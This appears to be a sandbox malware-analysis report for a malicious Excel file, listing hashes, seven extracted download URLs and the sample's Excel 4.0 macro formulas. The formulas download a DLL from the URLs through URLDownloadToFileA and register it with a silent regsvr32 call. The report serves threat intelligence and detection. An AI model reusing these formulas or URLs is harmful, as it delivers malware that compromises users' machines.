General
-
Target
6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d
-
Size
49KB
-
MD5
da2751911315b275d4c7b7d578fb91f2
-
SHA1
6973468c78c9027090b9f72d84b3d9dd51e80de6
-
SHA256
6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d
-
SHA512
1bd06a515f75cd24c449dee897da6e5eeed6d146a323be461e9a3326a34f967bf9d74e1b6052c626fd000a7113b13bff047cdea32d3796dcabd89bba581967d5
-
SSDEEP
1536:bFmPpcEglt24xZdRBzH9hJBrdEwwNXekVIc07:J4cEk2Kd3zdtdEwoc
Malware Config
Extracted
https://arealama.com/assets_template/58DBYXQh01ATcsKY/
https://www.artificium.es/blogs/mu8yHJ/
http://antaoco.com/wp-admin/QpyjXPLrEXf3R9/
https://www.manchesterot.co.uk/about-us/fxVCCMDni/
http://www.automatic-taps.com/Templates/TyJj6dRjzqE/
http://www.atara.com.tr/Template/595vJ91nQx/
http://arkamani.net/administrator/KIZXGmaRTF6N3qQqH/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://arealama.com/assets_template/58DBYXQh01ATcsKY/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.artificium.es/blogs/mu8yHJ/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/QpyjXPLrEXf3R9/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterot.co.uk/about-us/fxVCCMDni/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.automatic-taps.com/Templates/TyJj6dRjzqE/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atara.com.tr/Template/595vJ91nQx/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://arkamani.net/administrator/KIZXGmaRTF6N3qQqH/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d